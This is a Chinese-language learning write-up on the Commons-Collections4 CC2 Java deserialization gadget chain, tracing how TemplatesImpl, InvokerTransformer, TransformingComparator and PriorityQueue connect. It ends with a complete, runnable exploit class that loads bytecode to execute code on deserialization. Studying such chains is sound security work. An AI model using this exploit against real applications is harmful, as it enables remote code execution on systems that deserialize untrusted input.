环境

和CC4一样,Commons-Collections 依赖如下

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

链子分析

CC2其实就是在CC4上修改,它是为了避免transform数组的使用,至于为什么要避免是因为shiro中的漏洞会重写很多动态加载数组的方法,那么可能EXP 无法通过数组实现,当然我还没跟过shiro的链子到时候再去学习,那么到这里后面的流程图就如下
image-20230706195111859
前面的就是CC4的东西,所以这里就是要把compareInvokerTransform连接起来然后再把InvokerTransformTemplatesImpl连接起来就OK了,那么这里先把后面的解决直接把CC4的拿过来

1
2
3
4
5
6
7
8
9
10
11
12
13
//动态类加载命令执行  
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

然后构造InvokerTransformer类去调用TemplatesImpl.newTransformer()

1
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

然后就是让TransformingComparator.compare()InvokerTransformer连接起来,当然这里和CC4一样为了避免priorityQueue.add()提前执行compare()方法,所以代码也一样

1
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

然后创建 PriorityQueue 类对象 传入 transformingComparator的对象但是此时我们向队列里面添加的元素是前⾯创建的 TemplatesImpl的对象,这里要注意的是添加在队列第一个元素位置因为最后调用 PriorityQueue.compare() 的时候是传入队列中的两个对象,然后 compare() 中调用 Transformer.transform(obj1) 的时候用的是传入的第一个对象作为参数,跟进去看一下即可知道
image-20230706195150985
当然两个都设置为TemplatesImpl的对象也没关系

1
2
3
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
priorityQueue.add(templates);
priorityQueue.add(templates);

然后又和CC4一样了反射改回来就行,然后把chainedTransformer改为invokerTransformer因为我们是直接连接的InvokerTransform类的transform方法

1
2
3
4
Class c = transformingComparator.getClass();  
Field transformField = c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator, invokerTransformer);

那么到这里CC2也就结束了,最终的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2Dome {
public static void main(String[] args) throws Exception{
//动态类加载命令执行
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformField = c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator, invokerTransformer);
// serialize(priorityQueue);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20230706195209452

流程图

这次流程图还是直接在前面的基础上改的,如下
image-20230706195223181